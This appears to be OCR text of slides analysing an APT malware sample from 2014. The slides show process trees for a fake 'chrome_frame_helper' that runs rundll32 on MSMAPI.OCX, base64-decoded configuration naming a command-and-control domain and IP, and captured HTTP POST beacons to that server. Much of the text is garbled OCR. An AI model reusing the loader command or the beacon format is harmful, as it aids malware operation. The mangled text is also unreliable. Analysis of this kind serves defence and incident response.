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2. #2RiE

-
|| chrome_frame_helper:3020 Pw

Google Inc.

Version: 27.0,1453. 115

Build Time: Sat Jun 15 05:27:36 2013

| TCP/IP I Security I Environment I Job | Strings
Image | Performance Performance Graph I GPU Graph I Threads
Image File

Chrome Frame renders the Web of the future in the browsers of the past. It's

Path:

Command line:

Current directory:

I C:\sers\whoami\appData'Local\Temp'chrome_frame_helper

C:\Users\whoami\appData'Local\Temp'\chrome_frame_helper

C:\Users\whoami\appData'Local\Temp\RarsFy 14

Autostart Location:

I nfa

{5 g B et

4.4

#% /& cmd.exe 3, {7 ru

Explore

ndll32.exe -

B B.]csras.exe 0.52 6,220 K 17968 K 416
B conhost.exe <. 1688K 6000K 906 EE&iHs i Microsoft Corporation
B conhost.exe <. 1424 K  S240K 2912 EfEEmaEre Microsoft Corporation
5 winlogon.exe 2708 K 5700K 464
El 5 explorer.exe 120 6797 K 95044 K 1612 Windows 822882 Microsoft Corporation
i vmtoolsd.exe 012 15392 K 18648 K 2288 Vidware Tools Core ... Vidware, Inc.
Bl cmd.exe 1872 K 2772 K 1012 Windows fr& ... Microsoft Corporation
= LY procexp.exe 2472 K 6,740 K 3000 Sysinternals Process ... Sysinternals - www.sysinternals.com
& procexpbd exe 131 13952 K 27268 K 2120 Sysinternals Process ... Sysinternals - www.sysinternals.com
Sautorns.exe Q080 K 15,532 K 584 Autostart program vi.. Sysinternals - www.sysinternals.com
:I Tepview.exe 0.25 6,172 K 1739 K 2892
=] gports exe 0.03 2,228 K 9,624 K 1692 CurrPorts MirSoft
_|notepad exe 1,592 K 7056 K 2172 A Microsoft Corporation
= &¥ Procmon.exe 5086 K 12,884 K 1652 Process Monitor Sysinternals - www.sysinternals.com
] Frocmontd exe 25576 K 46,712 K 2180
P Srinmnin o Taol ava kS 153 9A K A5 244 17 0TAN EHVT = hAirrrentt Corhoraticn
B | |chrome_frame_helper 2496 K 9,908 K 3020 Chrome Frame rende... Google Inc.
@ cmd.exe 2388K 4484 K 808 Windows sF<rEEH... Microsoft Corporation
Jmundll32 exe 001 4,172 K 10,092 K 1600 Windows Ef#EEH... Microsoft Corporation

CPU Usage: 16.75%
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Commit Charge: 36.03% Processes: 52 Physical Usage: 72.64%
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| Image I Perfarmance I Performance Graph | GPU Graph I Threads
TCP/IP | Security | Environment | Job | Strings

[ Resolve addresses

Prot... Local Address Eemote Address  State
TCP  140.117 1050 |65.55.57.27:80 | CLOSE_WAIT

] Office 365

B Rt SRR R

BRETH

S BHEXASL F DT NAR > &
C:\Users\user\AppData\Local\Temp\ = ¢ 5 — i

TYahooCache.iniy > 5 & & #25% Tchrome_frame_helper 5 4

a. * Base64 #-3 ¢ [d3d3LnlhaG9vZGFpbHKuYmI6 | %78

¢ % Twww.yahoodaily.biz ;- IP 2 798.126.54.60 | -



b. * Baseb4 #-3 8 "TVNNQVBILKIDWA== | fZ# s 5

"MSMAPI.OCX | -

BEFR =|EE EI(O BRNV) =HEH

[cpar ]
n_ID=KH110115%
m_Proc=SVCHOST .EXE

n_Mainlr1=d3d3Ln lhat9vaGF pbH
n_BackUrl=d3d3LnlhaGyveGF phH
D1 1Nane=TVNNQVEJLk9DWA—
igFirst=notbirast

6. + 4% rundll32.exe ¢ 2 34 {7 & temp T 7 MSMAPIL.OCX -
T ¢ 3| % K IPT98.126.54.60:80 ;> 5if] 5 Fiplzd o 4 A

2

Fx o % # B Fxis € v 1B “Bad request”F 8 o

Em cmd.ex=:808 Properti @ﬂﬂ
B
Image |PerFormance | Performance Graph | GPU Graph | Threads | TCR/IP | Security | Environment I Job | Strings|
Image File
Windows % BEIETZE,
Microsoft Corporation

Version:  6.1.7601.17514
Build Time: SatMNov 20 17:00:27 2010
Path:
C:\Windows\SysWOWe4\cmd. exe [Explore ]

Command line:

Ci\Windowslsystem32\emd. exe /A [C rundll32 C:\Userswhoami\AppData'Local {TempYMSMAPT, OCX RunProcGos
Current directory:

C:\Wserswhoami\AppDataLocal \Temp\RarsFx 1Y

|E><p|0re|
I Farent:  chrome_frame_helper(3020) I
] rundli32 exe-1600 Propertic [
I Security | Enwironment | Job | Strings |

Image I Performance I Performance Graph I GPU Graph I Threads | TCPJTP |

[ Resolve addresses I
Prot... Local Address Remote Address | State
TCP 140,117 10521 98.126.54 60:80 |ESTABLISHED




K 98.126.54.60
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Bad Request (Invalid Hostname)
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A. Rl&E e I B4 Tchrome_frame_helper; ¢ =
165.55.57.27:80 ; i& {7 HTTP GET » 3t ¢ 47 1 HTML 5 ™
Bl#rom > /R 5 dkikeha s o B P ohw g S T iR A
rundli32.exe #% 7 MSMAPI.OCX -
Your current User- Agent string appears to be from an

automated process, if this s mcorrect, please click this
Imk:Umnited States English Microsoft Homepage

<
B. it e WA EAIPE- B

"www.yahoodaily.biz:80 ; * HTTP POST = ;% &% 34l > @ 2

N

3 iz a0 IP 1+ §_798.126.54.60 ;> » fj‘u{ﬁ:@ rundll32.exe
3 34 7 MSMAPLOCX {7 5 o
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2.

NfCommand.asp : # % = " www.google.com.999 | -

NetWitness Reconstruction for session ID:- 1645 ( Source 140.117 1138, Target 98.126.54.60 - 80)

[22/2014 17244410 1/22/2014 17:26:44 Packet Size 38,686 bytes Payload Size 25,576 bytes

Protocol 2048/6/80 Flags Keep Assembled AppMeta NetworkMeta Packet Count 237

FOST /norton/NfCommand .asp?par=comedata&ClientId=140.117 F20<5677-%20140.117
HITP/1.1

Accept: 7

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET (LR 1.1.4322)

Host: www.yahoodaily.biz
Content-Length: 36
Cache-Control: no-cache
Connection: Keep-Alive

Cookie: ASPSESSICNIDCODTCORD=NKIKIKIDIPNGDLMKMDGLHODP

www.google . com. 999

Date: Wed, 22 Jan 2014 09:22:50 GMT
Server: Microsoft-118/6.0
X-Powered-By: ASP.NET
Content-Length: 0

Content -Type: text/html
Cache-control: private

—wvwmcpm=

wzZzooOwm=

NfStartasp: p 2 52 '€ © 0€.99931924 -

NetWitness Reconstruction for session ID: 2611 ( Source 140.117 - 1148, Target 98.126.54.60 - 80)

Time 174250 PacketSize 347,713 bytes Payload Size 232,363 bytes
Protocol 2048/6/80 Flags Keep Assembled AppMeta NetworkMeta Packet Count 2,089

POST /norton/NfStart.asp?ClientId=140.117. H20<5677>%20140.117. ANick=WH1
10115%&dtime=T:1-22-17-36 HITP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET (LR 1.1.4322)

Host: www.yahoodaily.biz

Content-Length: 36

Cache-Control: no-cache

Cookie: ASPSESSIONIDCODTCQRD=NKIKIKJDJPNGDLMKMDGLHODP

—wvwmepom=

[ 7 b0.99931924 |

HITP/1.1 200 OK

Date: Wed, 22 Jan 2014 09:34:54 GMT
Server: Microsoft-IIS8/6.0
X-Powered-By: ASP.NET
Content-Length: 0

Content-Type: text/html
Cache-control: private

W Zzo@OWwm=
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fe B 88T 450 IP > %502 IPV4 @ ¢ T NetBios #4239 &

1. LLMNR #_%_&*"1&4% = "Link-local Multicast Name
Resolution (LLMNR)" (i s5-# % 7 BLi# % & fj347
(LLMNR)) (draft-ietf-dnsext-mdns-47.txt) 2. "% 4 i & 45 ¢
il ML R B PF F IPVE e IPVA 4 G AR T e

{245 0 @ 2 $% %L DNS PIREX DNS * =3 o

Time Service Size Events Displaying 1 -20 of 17315
2014-Jan-22 16:02:11 IP/ UDP/ OTHER 1.50 KB ﬂ'M(l.'l'l? -> 224.0.0.252 EGZSZU—} 5355

View 2014-Jan-2216:02:12  IP/UDP/ OTHER 1.00KB w 140.117 122400252 | B 5193255355
View 2014-Jan-2216:0212  IP/UDP/OTHER 9368 < 140117 (22400252 | (b 53266 ->5355
View 2014-Jan-22 16:03:19 IP/ UDP/ OTHER 1.12 KB £ 140117 ->1224.0.0.252 o 63788 —»{5355
View 2014-Jan-2216:0326 IP/UDP/OTHER 5168 < 140117 122400252 | D 58209 -»[5355

View 2014-Jan-22 16:03:37 IP/ UDP/ OTHER 896 B

. 140117 2240.0.252 057973— 5355

View 2014-Jan-2216:13:58 IP/UDP/OTHER 1.38 KB . 140117 -»224.00.252 | (b 62134 -55355

View 2014-Jan-2216:14.00 IP/ UDP/ OTHER 1.13 KB L 140117 224.0.0.252 | i 60743 ->{5355

224.0.0.252 | (gl 5123555355
View 2014-Jan-2216223:00 IP/UDP/OTHER 1.01KB s 140.117 —>]224.0.0252 | i 56746 ->[5355

View 2014-Jan-22 1622300 [P/ UDP/OTHER 9088 ¢ 140117 —+]224.0.0252 | (gh 56655 —»[5355

View 2014-Jan-2216:23:00 IP/UDP/OTHER 9088 L 140017 224.0.0.252 | (b 51181 -55355

View 2014-Jan-2217:07:17  IP/UDP/OTHER 1.12KB . 140117 224.0.0.252 ‘)53814— 5355

View 2014-Jan-2217:07:17  IP/UDP/OTHER 534B L 140117 ->224.00252 | (b 59107 ->{5355

e 3
»
»
~
~
~
View 2014-Jan-2216:14:12 IP/UDP/ OTHER 1.50KB s 140.117
»
£ 3
~
~
~
L

View 2014-Jan-2217:07:17 IP/UDP/OTHER 9188 140117 51722400252 | &h 58394 -5{5355
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STEP 3
HTTP POST
>

APTZEE www. yahoodaily. biz

~ (98. 126. 54. 60)
STEP 4
STEP 2
,STEP 1 HTTP GET LLMNR

" APT Mail

& [ 133

Hacker .
65. 5. 57. 2780 224.0.0.252:5355

STEP 1: ZEMREZ B FXAPTESNRIEY - FEIEZZNTHMY -

STEP 2 : S EZFRRMEHER B S@BE LM 65.55.57.27 ETERKRE -

STEP 3 : BURE#FFE @ www.yahoodaily.biz ZEBHTTP POSTEEE K -
STEP 4 : FirE#=%48 LLMNR 5 Multicast UDPIE S [E 48 B = #aIP Lt -

1034E {9 /52 B8 (4 T T BA B fre BRI S B
A B BRI /T exe

10367 T (70 B0 R S S
S T aE A exe

GET

65.55.57.27:80

POST

www.yahoodaily.biz
(98.126.54.60:80 )

Multicast 224.0.0.252
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